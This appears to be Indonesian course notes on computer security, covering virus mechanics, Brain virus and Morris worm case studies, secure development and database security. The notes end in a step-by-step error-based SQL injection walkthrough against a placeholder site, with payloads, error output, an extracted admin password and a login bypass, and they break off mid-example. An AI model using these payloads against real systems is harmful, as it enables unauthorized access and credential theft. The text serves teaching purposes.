6.1 CARA KERJA VIRUS Program virus menyisipkan dirinya ke suatu program executable pada alamat sebelum instruksi pertama program, kemudian ketika program itu dijalankan, semua instruksi virus akan di-eksekusi terlebih dahulu, setelah instruksi terakhir virus, alir control instruksi dikembalikan pada program yang asli.
Gambar 6.1 virus yang ditambahkan pada suau program
Gambar 6.2 virus di sekeliling program Halaman | 29
Gambar 6.3 virus terintegrasi ke dalam program Beberapa jenis virus lainnya mampu masuk ke dalam dokumen yang disebut virus dokumen misalnya dokumen surat, database, slide presentasi, gambar, atau spreadsheet.
6.2 BAGAIMANA VIRUS MEMPEROLEH KONTROL Virus (V) harus dilibatkan dari pada target (T), utamanya virus harus kelihatan seperti T. virus dapat mengasumsi nama T dengan menganti (atau bergabung) ke kode T dalam struktur file. Virus dapat mengganti T dalam penyimpanan atau alternative lain, virus dapat mengubah pointer dalam table file sehingga pada saat T diakses melalui file system namun yang dialokasikan adalah virus.
Gambar 6.4 virus secara lengkap mengganti program Kualisifikasi virus yang dibuat adalah: § Sulit untuk dideteksi § Tidak mudah untuk dihancurkan dan di non-aktifkan § Menyebarkan infeksinya secara melebar § Dapat menginfeksi ke program lain § Mudah untuk dibuat § Merupakan mesin independent dan system operasi independent
6.3 BEBERAPA CARA VIRUS BERDIAM DIRI DAN AKTIF One-time Execution Virus ini hanya dieksekusi sekali saja, menyebarkan infeksinya dan menyebabkan pengaruhnya dalam sekali eksekusi. Virus ini biasanya terdapat pada dokumen atau lampiran dari sebuah e-mail. Boot Sector Virus jenis ini menyimpan dirinya ke dalam suatu sector awal dari media penyimpan yang biasanya digunakan untuk pemanggilan system operasi (bootstrap). Halaman | 30
Gambar 6.5 virus bootsector Virus Memory-Resident Virus ini biasanya akan selau menetap di dalam memori disaat aktif. Memory resident akan aktif selama system operasi berjalan. Efek virus Menyisip ke dalam program eksekusi Menyisip ke data atau file kontrol
Menetap di memori Menginfeksi disk
Menyembunyikan dirinya Menyebarkan infeksi
Mencegah tindakan pe-non-aktifan
Caranya Memodifikasi file direktori Menuliskan ke file program ekseskusi Memodifikasi direktori Menulis ulang data Menambah ke data Menambahkan data ke dirinya Mencegat interrupt dengan memodifikasi table alamat interrupt handler Memanggil dirinya dalam area memori nontransient (tetap) Mencegat interrupt Mencegat operasting system call (misalnya format disk) Memodifikasi file system Memodifikasi program executable Mencegat system calls yang menyatakan dirinya dan memalsukan hasilnya Menggolongkan dirinya sebagai file “hidden” Infeksi boot sector Infeksi program system Infeksi program biasa Infeksi program biasa pembacaan data untuk mengontrol eksekusinya Aktifasi sebelum me-non-aktifasi program dan memblok pen-nonaktifan Menyimpan salinan untuk menginfeksi ulang sesudah pe-non-aktifan
Virus Polymorphic, merupakan jenis virus yang dapat mengubah pola-pola bentuk kode programnya sendiri secara acak, sehingga menyulitkan antivirus untuk mendeteksinya. Beberapa teknik untuk membangun suatu komunitas yang aman untuk berhubungan dengan hal-hal elektronik adalah sebagai berikut: § Gunakan hanya software komersial yang diperoleh dari yang dapat dipercaya, vendor yang handal § Uji semua software dalam komputer yang terisolasi § Buka attachment (file lampiran) hanya jika kita tahu bahawa itu aman § Membuat sebuah recoverable system image dan menyimpannya dengan aman § Buatkan dan pertahankan salinan backup dari file system eksekusi § Gunakan antivirus dan selalu meng-update secara berkala
Halaman | 31
Beberapa klaim tentang virus: §
Viruses can infect only Microsoft Windows systems. False. Among students and office workers, PCs running Windows are popular computers, and there may be more people writing software (and viruses) for them than for any other kind of processor. Thus, the PC is most frequently the target when someone decides to write a virus. However, the principles of virus attachment and infection apply equally to other processors, including Macintosh computers, Unix and Linux workstations, and mainframe computers. Cell phones and PDAs are now also virus targets. In fact, no writeable stored-program computer is immune to possible virus attack. This situation means that all devices containing computer code, including automobiles, airplanes, microwave ovens, radios, televisions, voting machines, and radiation therapy machines have the potential for being infected by a virus.
§
Viruses can modify "hidden" or "read-only" files. True. We may try to protect files by using two operating system mechanisms. First, we can make a file a hidden file so that a user or program listing all files on a storage device will not see the file's name. Second, we can apply a read-only protection to the file so that the user cannot change the file's contents. However, each of these protections is applied by software, and virus software can override the native software's protection. Moreover, software protection is layered, with the operating system providing the most elementary protection. If a secure operating system obtains control before a virus contaminator has executed, the operating system can prevent contamination as long as it blocks the attacks the virus will make.
§
Viruses can appear only in data files, or only in Word documents, or only in programs. False. What are data? What is an executable file? The distinction between these two concepts is not always clear, because a data file can control how a program executes and even cause a program to execute. Sometimes a data file lists steps to be taken by the program that reads the data, and these steps can include executing a program. For example, some applications contain a configuration file whose data are exactly such steps. Similarly, wordprocessing document files may contain startup commands to execute when the document is opened; these startup commands can contain malicious code. Although, strictly speaking, a virus can activate and spread only when a program executes, in fact, data files are acted on by programs. Clever virus writers have been able to make data control files that cause programs to do many things, including pass along copies of the virus to other data files.
§
Viruses spread only on disks or only through e-mail. False. File-sharing is often done as one user provides a copy of a file to another user by writing the file on a transportable disk. However, any means of electronic file transfer will work. A file can be placed in a network's library or posted on a bulletin board. It can be attached to an e-mail message or made available for download from a web site. Any mechanism for sharing filesof programs, data, documents, and so forthcan be used to transfer a virus.
§
Viruses cannot remain in memory after a complete power off/power on reboot. True, but . . . If a virus is resident in memory, the virus is lost when the memory loses power. That is, computer memory (RAM) is volatile, so all contents are deleted when power is lost.[2] However, viruses written to disk certainly can remain through a reboot cycle. Thus, you can receive a virus infection, the virus can be written to disk (or to network storage), you can turn the machine off and back on, and the virus can be reactivated during the reboot. Boot sector viruses gain control when a machine reboots (whether it is a hardware or software reboot), so a boot sector virus may remain through a reboot cycle because it activates immediately when a reboot has completed.
§
Viruses cannot infect hardware. True. Viruses can infect only things they can modify; memory, executable files, and data are the primary targets. If hardware contains writeable storage (so-called firmware) that can be accessed under program control, that storage is subject to virus attack. There have been a few instances of firmware viruses. Because a virus can control hardware that is subject to program control, it may seem as if a hardware device has been infected by a virus, but it is really the software driving the hardware that has been infected. Viruses can also exercise hardware in any way a program can. Thus, for example, a virus could cause a disk to loop incessantly, moving to the innermost track then the outermost and back again to the innermost.
§
Viruses can be malevolent, benign, or benevolent. True. Not all viruses are bad. For example, a virus might locate uninfected programs, compress them so that they occupy less memory, and insert a copy of a routine that decompresses the program when its execution begins. At the same time, the virus is spreading the compression function to other programs. This virus could substantially reduce the amount of storage Halaman | 32
required for stored programs, possibly by up to 50 percent. However, the compression would be done at the request of the virus, not at the request, or even knowledge, of the program owner. Contoh program berbahaya: Virus Brain One of the earliest viruses is also one of the most intensively studied. The so-called Brain virus was given its name because it changes the label of any disk it attacks to the word "BRAIN." This particular virus, believed to have originated in Pakistan, attacks PCs running an old Microsoft operating system. Numerous variants have been produced; because of the number of variants, people believe that the source code of the virus was released to the underground virus community. What It Does The Brain, like all viruses, seeks to pass on its infection. This virus first locates itself in upper memory and then executes a system call to reset the upper memory bound below itself so that it is not disturbed as it works. It traps interrupt number 19 (disk read) by resetting the interrupt address table to point to it and then sets the address for interrupt number 6 (unused) to the former address of the interrupt 19. In this way, the virus screens disk read calls, handling any that would read the boot sector (passing back the original boot contents that were moved to one of the bad sectors); other disk calls go to the normal disk read handler, through interrupt 6. The Brain virus appears to have no effect other than passing its infection, as if it were an experiment or a proof of concept. However, variants of the virus erase disks or destroy the file allocation table (the table that shows which files are where on a storage medium). How It Spreads The Brain virus positions itself in the boot sector and in six other sectors of the disk. One of the six sectors will contain the original boot code, moved there from the original boot sector, while two others contain the remaining code of the virus. The remaining three sectors contain a duplicate of the others. The virus marks these six sectors "faulty" so that the operating system will not try to use them. (With low-level calls, you can force the disk drive to read from what the operating system has marked as bad sectors.) The virus allows the boot process to continue. Once established in memory, the virus intercepts disk read requests for the disk drive under attack. With each read, the virus reads the disk boot sector and inspects the fifth and sixth bytes for the hexadecimal value 1234 (its signature). If it finds that value, it concludes that the disk is infected; if not, it infects the disk as described in the previous paragraph. What Was Learned This virus uses some of the standard tricks of viruses, such as hiding in the boot sector, and intercepting and screening interrupts. The virus is almost a prototype for later efforts. In fact, many other virus writers seem to have patterned their work on this basic virus. Thus, one could say it was a useful learning tool for the virus writer community. Sadly, its infection did not raise public consciousness of viruses, other than a certain amount of fear and misunderstanding. Subsequent viruses, such as the Lehigh virus that swept through the computers of Lehigh University, the nVIR viruses that sprang from prototype code posted on bulletin boards, and the Scores virus that was first found at NASA in Washington D.C. circulated more widely and with greater effect. Fortunately, most viruses seen to date have a modest effect, such as displaying a message or emitting a sound. That is, however, a matter of luck, since the writers who could put together the simpler viruses obviously had all the talent and knowledge to make much more malevolent viruses. There is no general cure for viruses. Virus scanners are effective against today's known viruses and general patterns of infection, but they cannot counter tomorrow's variant. The only sure prevention is complete isolation from outside contamination, which is not feasible; in fact, you may even get a virus from the software applications you buy from reputable vendors. Contoh lain : Internet Worm On the evening of 2 November 1988, a worm was released to the Internet[3], causing serious damage to the network. Not only were many systems infected, but also when word of the problem spread, many more uninfected systems severed their network connections to prevent themselves from getting infected. Spafford and his team at Purdue University and Eichen and Rochlis at M.I.T. studied the worm extensively, and Orman did an interesting retrospective analysis 15 years after the incident. Halaman | 33
[3] Note: This incident is normally called a "worm," although it shares most of the characteristics of viruses. The perpetrator was Robert T. Morris, Jr., a graduate student at Cornell University who created and released the worm. He was convicted in 1990 of violating the 1986 Computer Fraud and Abuse Act, section 1030 of U.S. Code Title 18. He received a fine of $10,000, a three-year suspended jail sentence, and was required to perform 400 hours of community service. (See Denning [DEN90b] for a discussion of this punishment.) What It Did Judging from its code, Morris programmed the Internet worm to accomplish three main objectives: Determine where it could spread to. Spread its infection. Remain undiscovered and undiscoverable. What Effect It Had The worm's primary effect was resource exhaustion. Its source code indicated that the worm was supposed to check whether a target host was already infected; if so, the worm would negotiate so that either the existing infection or the new infector would terminate. However, because of a supposed flaw in the code, many new copies did not terminate. As a result, an infected machine soon became burdened with many copies of the worm, all busily attempting to spread the infection. Thus, the primary observable effect was serious degradation in performance of affected machines. A second-order effect was the disconnection of many systems from the Internet. System administrators tried to sever their connection with the Internet, either because their machines were already infected and the system administrators wanted to keep the worm's processes from looking for sites to which to spread or because their machines were not yet infected and the staff wanted to avoid having them become so. The disconnection led to a third-order effect: isolation and inability to perform necessary work. Disconnected systems could not communicate with other systems to carry on the normal research, collaboration, business, or information exchange users expected. System administrators on disconnected systems could not use the network to exchange information with their counterparts at other installations, so status and containment or recovery information was unavailable. The worm caused an estimated 6,000 installations to shut down or disconnect from the Internet. In total, several thousand systems were disconnected for several days, and several hundred of these systems were closed to users for a day or more while they were disconnected. Estimates of the cost of the damage range from $100,000 to $97 million. How It Worked The worm exploited several known flaws and configuration failures of Berkeley version 4 of the Unix operating system. It accomplishedor had code that appeared to try to accomplishits three objectives. Determine where to spread. The worm had three techniques for locating potential machines to victimize. It first tried to find user accounts to invade on the target machine. In parallel, the worm tried to exploit a bug in the finger program and then to use a trapdoor in the sendmail mail handler. All three of these security flaws were well known in the general Unix community. The first security flaw was a joint user and system error, in which the worm tried guessing passwords and succeeded when it found one. The Unix password file is stored in encrypted form, but the ciphertext in the file is readable by anyone. (This visibility is the system error.) The worm encrypted various popular passwords and compared their ciphertext to the ciphertext of the stored password file. The worm tried the account name, the owner's name, and a short list of 432 common passwords (such as "guest," "password," "help," "coffee," "coke," "aaa"). If none of these succeeded, the worm used the dictionary file stored on the system for use by application spelling checkers. (Choosing a recognizable password is the user error.) When it got a match, the worm could log in to the corresponding account by presenting the plaintext password. Then, as a user, the worm could look for other machines to which the user could obtain access. (See the article by Robert T. Morris, Sr. and Ken Thompson [MOR79] on selection of good passwords, published a decade before the worm, and the section in Chapter 4 on passwords people choose.) The second flaw concerned fingerd, the program that runs continuously to respond to other computers' requests for information about system users. The security flaw involved causing the input buffer to overflow, spilling into Halaman | 34
the return address stack. Thus, when the finger call terminated, fingerd executed instructions that had been pushed there as another part of the buffer overflow, causing the worm to be connected to a remote shell. The third flaw involved a trapdoor in the sendmail program. Ordinarily, this program runs in the background, awaiting signals from others wanting to send mail to the system. When it receives such a signal, sendmail gets a destination address, which it verifies, and then begins a dialog to receive the message. However, when running in debugging mode, the worm causes sendmail to receive and execute a command string instead of the destination address. Spread infection. Having found a suitable target machine, the worm would use one of these three methods to send a bootstrap loader to the target machine. This loader consisted of 99 lines of C code to be compiled and executed on the target machine. The bootstrap loader would then fetch the rest of the worm from the sending host machine. An element of good computer securityor stealthwas built into the exchange between the host and the target. When the target's bootstrap requested the rest of the worm, the worm supplied a one-time password back to the host. Without this password, the host would immediately break the connection to the target, presumably in an effort to ensure against "rogue" bootstraps (ones that a real administrator might develop to try to obtain a copy of the rest of the worm for subsequent analysis). Remain undiscovered and undiscoverable. The worm went to considerable lengths to prevent its discovery once established on a host. For instance, if a transmission error occurred while the rest of the worm was being fetched, the loader zeroed and then deleted all code already transferred and then exited. As soon as the worm received its full code, it brought the code into memory, encrypted it, and deleted the original copies from disk. Thus, no traces were left on disk, and even a memory dump would not readily expose the worm's code. The worm periodically changed its name and process identifier so that no single name would run up a large amount of computing time. What Was Learned The Internet worm sent a shock wave through the Internet community, which at that time was largely populated by academics and researchers. The affected sites closed some of the loopholes exploited by the worm and generally tightened security. Some users changed passwords. Two researchers, Farmer and Spafford [FAR90], developed a program for system administrators to check for some of the same flaws the worm exploited. However, security analysts checking for site vulnerabilities across the Internet find that many of the same security flaws still exist today. A new attack on the Internet would not succeed on the same scale as the Internet worm, but it could still cause significant inconvenience to many. The Internet worm was benign in that it only spread to other systems but did not destroy any part of them. It collected sensitive data, such as account passwords, but it did not retain them. While acting as a user, the worm could have deleted or overwritten files, distributed them elsewhere, or encrypted them and held them for ransom. The next worm may not be so benign. The worm's effects stirred several people to action. One positive outcome from this experience was development of an infrastructure for reporting and correcting malicious and nonmalicious code flaws. The Internet worm occurred at about the same time that Cliff Stoll [STO89] reported his problems in tracking an electronic intruder (and his subsequent difficulty in finding anyone to deal with the case). The computer community realized it needed to organize. The resulting Computer Emergency Response Team (CERT) at Carnegie Mellon University was formed; it and similar response centers around the world have done an excellent job of collecting and disseminating information on malicious code attacks and their countermeasures. System administrators now exchange information on problems and solutions. Security comes from informed protection and action, not from ignorance and inaction.
Halaman | 35
6.4 KONTROL MENGHADAPI PROGRAM PENGANCAM 6.4.1 PENGONTROLAN DEVELOPMENTAL Pengembangan software membutuhkan orang-orang yang dapat: § Spesifikasikan system dengan menangkap kebutuhan-kebuituhan dan membangun model bagaimanan system seharusnya bekerja daru sisi pandang pengguna § Merancang system, dengan mengusulkan solusi pada masalah yang diuraikan oleh kebutuhan dan membangun model dari solusi § Mengimplementasikan system dengan menggunakan rancangan sebagai blueprint untuk membangun solusi kerja § Uji coba system untuk menyakinkan bahwa antara kebutuhan dan implementasi solusi sesuai seperti apa yang disebutkan dalam rancangan § Meninjau (review) system dalam berbagai langkah, untuk menyakinkan bahwa produk konsisten dengan spesifikasi dan model rancangan § Mendokumentasikan system, sehingga user dapat dilatih dan didukung § Mengatur system untuk mengestimasi sumber daya apa yang akan dibutuhkan untuk pengembangan dan melacak kapan system akan selesai § Perawatan system, melacak permasalahan, perubahan yang dibutuhkan dan perubahan pembuatan serta mengevaluasi pengaruhnya dalam seluruh kualitas dan fungsinya.
6.4.2 MODULARITAS, ENKAPSULASI DAN PENYEMBUNYIAN INFORMASI Modularization adalah proses untuk membagi tugas menjadi subtugas-subtugas. Pembagian ini diselesaikan dalam bentuk logika atau basis fungsi. Modularity bertujuan untuk setiap komponen bertemu dengan empat kondisi: 1. 2. 3. 4.
Bertujuan tunggal: melakukan satu fungsi Kecil: terdiri dari sejumlah informasi di mana [satu] manusia bisa siap menyerap keduanya, yaitu struktur dan isi Sederhana: yaitu derajat rendah kompleksitas sehingga manusia dapat memahami tujuan dan struktur dari modul Independent: melakukan tugas terisolasi dari modul lain
Gambar 6.6 Modularitas Beberapa manfaat mempunyai komponen kecil dan independent: § Perawatan (maintenance). Jika komponen mengimplemntasi fungsi tunggal, komponen tersebut dapat diganti dengan mudah dengan direvisi salah satunya jika diperlukan. § Mudah dipahami Halaman | 36
§ § §
Dapat digunakan ulang (reuse) Ketepatan. Kesalahan dapat dilacak dengan cepat Uji coba. Sebuah komponen tunggal dengan input dirumuskan dengan baik, output, dan fungsi dapat diuji secara mendalam dengan sendirinya, tanpa memperhatikan pengaruhnya terhadap modul lain.
Encapsulation menyembunyikan rincian implementasi komponen, tetapi itu tidak perlu berarti melengkapi isolasi. Banyak komponen harus membagi informasi dengan komponen lain, biasanya dengan alasan yang tepat. Penyembunyian informasi sangat dibutuhkan karena pengembang tidak akan mudah mengubah komponen jika mereka tidak tahu bagaimana komponen tersbeut bekerja. Beberapa relasi-rancangan proses aktifitas yang dapat membantu dalam membangun software yang aman: § Menggunakan filosofi toleransi kesalahan (kegagalan) § Mempunyai satu kebijakan konsisten untuk penanganan kegagalan § Menangkap dasar pemikiran dan history § Menggunakan pola rancangan Pada umumnya jenis kegagalan adalah kesalahan dalam menyediakan pelayanan, menyediakan pelayanan atau data yang salah dan data yang korup. Kita dapat membangun rancangan penanganan kesalahan tiap masalah dengan memilih salah satu dari tiga cara: 1. Retrying: memugar kembali system ke status sebelumnya dan melakukan pelayanan lagi, menggunakan strategi yang berbeda. 2. Correcting: memugar kembali system ke status sebelumnya, memperbaiki beberapa karakteristik system dan melakukan pelayanan lagi menggunakan strategi yang sama. 3. Reporting: memugar kembali system ke status sebelumnya, melaporkan masalah ke komponen penanganan-kesalahan dan tidak menyediakan pelayanan lagi. Pembuktian ketepatan program memiliki beberapa faktor yaitu: § Bukti ketepatan tergantung pada seorang programmer atau ahli logika untuk menerjemahkan satu pernyataan program menjadi implikasi logis. Pemrograman cenderung akan terjadi error, begitu juga terjemahan ini § Menghasilkan bukti ketepatan dari awal pernyataan dan implikasi pernyataan cukup sulit, dan mesin logis untuk membangkitkan bukti berjalan secara perlahan. Kecepatan mesin akan menurun ketika ukuran program meningkat, sehingga bukti ketepatan bahkan lebih sedikit untuk program besar § Status kini dari program verifikasi tidak lebih baik dikembangkan daripada menghasilkan kode. Hasilnya, bukti ketepatan tidak akan konsisten atau pun sukses diterapkan pada produksi system besar.
Halaman | 37
7 KEAMANAN DATABASE 7.1 KONSEP DATABASE Database adalah sekumpulan data dan aturan-atruran yang mengorganisasikan data dengan menetapkan hubungan yang pasti diantara data. Melalui aturan tersebut user dapat menggambarkan format logika untuk data. Database administrator adalah orang yang mendefinisikan aturan yang mengorganisasikan data dan juga mengontrol siapa saja yang dapat mengakses sebagian data. User berinteraksi dengan database melalui program yang disebut database manager atau database management system (DBMS) biasanya dikenal dengan istilah front end.
7.2 KOMPONEN DATABASE File database tediri dari beberapa record, setiapnya berisi kelompok data yang direlasikan. Setiap record berisi field-field atau elemen-elemen, sebagai item dasar data. Struktur logika dari database disebut schema. Pengguna khusus yang dapat mengakses hanya bagian dari database disebut subschema.
Gambar 7.1 hubungan bagian-bagian dari database Tabel 7-1 Schema database dari Gambar 7-1 Name
First
Address
City
State
Zip
Airport
ADAMS
Charles 212 Market St. Columbus
OH
43210
CMH
ADAMS
Edward 212 Market St. Columbus
OH
43210
CMH
BENCHLY
Zeke
501 Union St.
Chicago
IL
60603
ORD
CARTER
Marlene
411 Elm St.
Columbus
OH
43210
CMH
CARTER
Beth
411 Elm St.
Columbus
OH
43210
CMH
CARTER
Ben
411 Elm St.
Columbus
OH
43210
CMH
CARTER
Lisabeth
411 Elm St.
Columbus
OH
43210
CMH
CARTER
Mary
411 Elm St.
Columbus
OH
43210
CMH
Nama-nama tiap kolom disebut atribut dari database. Relasi adalah kumpulan dari kolom-kolom.
7.3 QUERY Perintah-perintah dalam database manager agar user dapat berinterkasi dengan DBMS seperti pengambilan, modifikasi, penambahan dan penghapusan field dan record dari database disebut query. Kebanyakan bahasa query menggunakan notasi bahasa Inggris. Misalnya: Halaman | 38
Select Name=’Juki’ Perintah di atas bermaksud untuk mendapatkan data yang nilai field Name adalah ‘Juki’. Manfaat menggunakan database adalah: • Akses berbagi, sehingga user dapat menggunakan bersama, memusatkan sekumpulan data • Redudansi minimal, sehingga user-user individu tidak perlu mengumpulkan dan merawat kumpulan datanya sendiri • Konsistensi data, sehingga perubahan nilai data berpengaruh kepada semua user nilai data • Integritas data, sehingga nilai data dilindungi terhadap ketidaksengajaan atau perubahan berbahaya • Akses yang dikontrol, sehingga hanya user yang diberikan otorisasi yang boleh untuk melihat atau memodifikasi nilai data.
7.4 KEBUTUHAN KEAMANAN DATABASE Kebutuhan-kebutuhan keamanan database adalah sebagai berikut: 1. Integritas database fisik 2. Integritas database logic 3. Integritas elemen 4. Auditability 5. Kontrol akses 6. User authentication 7. Availability (Ketersediaan) Suatu software dikatakan reliability bila software tersebut dapat berjalan selama waktu yang panjang tanpa kegagalan. Database yang memperhatikan reliability dan integrity dapat dilihat dari tiga dimensi: a. Database integrity: memperhatikan bahwa database dilindungi terhadap kerusakan, dari kegagalan disk drive atau perubahan (corrupt) dari indec database master. Perhatian ini dialamatkan oleh kontrol integritas system operasi dan prosedur perbaikan. b. Element integrity: memperhatikan bahwa nilai elemen data khusus ditulis dan diubah hanya oleh user yang berhak. Akses control yang baik melindugi database dari perubahan oleh user yang tidak berhak. c. Element accuracy: memperhatikan bahwa hanya nilai yang benar ditulis kedalam elemen database. Beberapa database berisi sensitive data yang seharusnya tidak publikasikan. Beberap faktor yang membuat data sensitif adalah: • Inherently sensitive. Data itu sendiri yang menyatakannya sensitif • Dari sumber yang sensitif. • Dideklarasikan sensitif • Bagian dari atribut dan record sensitive • Sensitif dalam hubungan dengan informasi yang sebelumnya diperlihatkan. Faktor-faktor sebagai bahan pertimbangan DBMS ketika memutuskan pengijinan akses database adalah: • Ketersediaan data: data yang dibutuhkan user harus tepat dan tersedia • Hal yang dapat diterima dari akses: salah satu nilai data mungkin saja sensitive dan tidak dapat diakses oleh sembarang user • Jaminan atas keaslian data Inference (kesimpulan) adalah cara untuk menyimpulkan atau menurunkan data sensitive dari data non sensitive. Dalam direct attack, user mencoba untuk menentukan nilai dari field sensitive dengan mencarinya secara langsung melalui query yang menghasilkan beberapa record. Sedangkan indirect attack pencarian hasil akhir berdasarkan dalam satu atau lebih hasil statistical menengah seperti sum, count, mean dan median. Sebenarnya tidak ada solusi yang tepat dalam masalah inference, namun ada pendekatan-pendakatan untuk mengontrolnya, yaitu: Halaman | 39
§ §
Pembatasan query yang dapat diterima oleh user yaitu: o Menekan informasi yang benar-benar sensitive o Melacak apa yang user ketahui Penyembunyian data
Data mining adalah proses penyaringan melalui berbagai database dan menghubungkan berbagai elemen data untuk menemukan informasi yang bermanfaat.
7.5 SQL INJECTION SQL Injection adalah serangan melalui kode SQL yang telah disisipkan atau ditambahkan ke aplikasi atau parameter input user yang kemudian akan dilewatkan ke Back-End Server SQL untuk parsing dan eksekusi. Ilustrasi SQL Injection akan di jelaskan di bawah ini: Kita akan mengambil contoh di site www.victim.com yang mempunyai dua kelemahan, yaitu: tabel News dan tabel Admin Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL. Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin. Ketemu di www.victim.com/sipm/admin/admin.asp Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja): ‘ having 1=1– jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting). Kemudian akan keluar pesan error: ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NOMOR’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /sipm/admin/dologin.asp, line 7 ——————– Keluarlah nama field pertama kita !!! Catat nama tabel : T_ADMIN Catat nama field : NOMOR Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda. Kita inject di kotak NIP (password terserah): ‘ group by T_ADMIN.NOMOR having 1=1– Akan keluar pesan error: ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NIP’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7 ——————– Artinya itulah nama tabel dan field kedua kita. Catat : T_ADMIN.NIP Kemudian kita cari field ke tiga : ‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1– Akan keluar pesan error: ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.PASSWORD’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7 ——————– Catat field ke tiga : T_ADMIN.PASSWORD Lakukan langkah di atas sampai kita menemukan field terakhir. Berikut adalah pesan error yang terjadi, jika kita mengecek field terakhir dengan meng-inject: ‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD, T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL having 1=1– Halaman | 40
(catatan : kalimat harus 1 baris, tidak dipotong) ——————– - NIP atau Password atau Unit Anda salah !! ——————– Sukses !!! Kita berhasil menemukan field terakhir. Daftar kolom (field): T_ADMIN.NOMOR T_ADMIN.NIP T_ADMIN.PASSWORD T_ADMIN.NAMA T_ADMIN.KD_RANTING T_ADMIN.ADDRESS T_ADMIN.EMAIL Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN), ini akan mempermudah proses kita selanjutnya. Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas. Kita inject di kotak NIP (pass terserah) : ‘ union select sum(NOMOR) from T_ADMIN– Arti dari query tersebut adalah : kita coba menerapkan klausa sum sebelum menentukan apakah jumlah kolom-kolom di dua rowsets adalah sejenis. Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah) yang berlaku untuk type kolom numerik, jadi untuk type kolom yang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom yang dimaksud. Pesan error : ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /sipm/admin/dologin.asp, line 7 ——————– artinya kolom NOMOR berjenis numerik. Berikutnya kita inject : ‘ union select sum(NIP) from T_ADMIN– Akan keluar pesan error : ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a char data type as an argument. /sipm/admin/dologin.asp, line 7 ——————– Artinya kolom NIP bertype char. Kita harus mengulang perintah di atas untuk kolom yang berikutnya dengan jalan mengganti nama_kolom di : ‘ union select sum(nama_kolom) from T_ADMIN– dengan kolom yang berikutnya. Kita peroleh 7 type kolom: T_ADMIN.NOMOR => numeric T_ADMIN.NIP => char T_ADMIN.PASSWORD => nvarchar T_ADMIN.NAMA => char T_ADMIN.KD_RANTING => char T_ADMIN.ADDRESS => nvarchar T_ADMIN.EMAIL => char Langkah berikutnya, kita akan mencari isi kolom password, untuk user admin, dengan meng-inject : ‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’– artinya kita memilih minimum nama user yang lebih besar dari ‘a’ dan mencoba meng-konvert-nya ke tipe integer. Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6 kolom yang lain. Akan keluar pesan error : ——————– Microsoft OLE DB Provider for ODBC Drivers (0×80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘bill ‘ to a column of data type int. /sipm/admin/dologin.asp, line 7 Halaman | 41
——————– Anda lihat : varchar value ‘bill ‘ ‘bill’ itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom NAMA di record yang terakhir dimasukkan. Selanjutnya kita inject : ‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = ‘bill’– catatan : harus sebaris (tidak dipotong). Akan keluar error : ——————— Microsoft OLE DB Provider for ODBC Drivers (0×80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m@mpusk@u’ to a column of data type int. /sipm/admin/dologin.asp, line 7 ——————— Artinya kita berhasil !!! Kita dapatkan [+] NAMA = bill [+] PASSWORD = m@mpusk@u Silahkan login ke : www.victim.com/sipm/admin/admin.asp dengan account di atas, sedang nama cabang, silahkan anda isi sendiri dengan cara coba-coba :( Atau kita pakai jalan pintas saja…. Kita inject-kan : ‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA =’bill’– catatan : harus satu baris. Langsung masuk ke menu admin. Ingat : jangan buat kerusakan ! beritahu sang admin !!! Lubang ke dua adalah pada bagian berita. Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi. Jadi tetep bisa kita inject !!! Bedanya, kita harus memasukkan parameter di alamat URL-nya. Contoh : www.victim.com/dari_Media.asp?id=2119&idm=40&idSM=2 ada parameter id dan idSM. Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW). Kita inject-kan : www.victim.com/dari_Media.asp?id=2119′ having 1=1– akan keluar pesan error : ————————— Microsoft OLE DB Provider for ODBC Drivers (0×80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘tb_news.NewsId’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /dari_Media.asp, line 58 ————————— artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita yang pertama. Ulangi langkah-langkah kita di atas sampai didapatkan : tb_news.NewsId => numeric 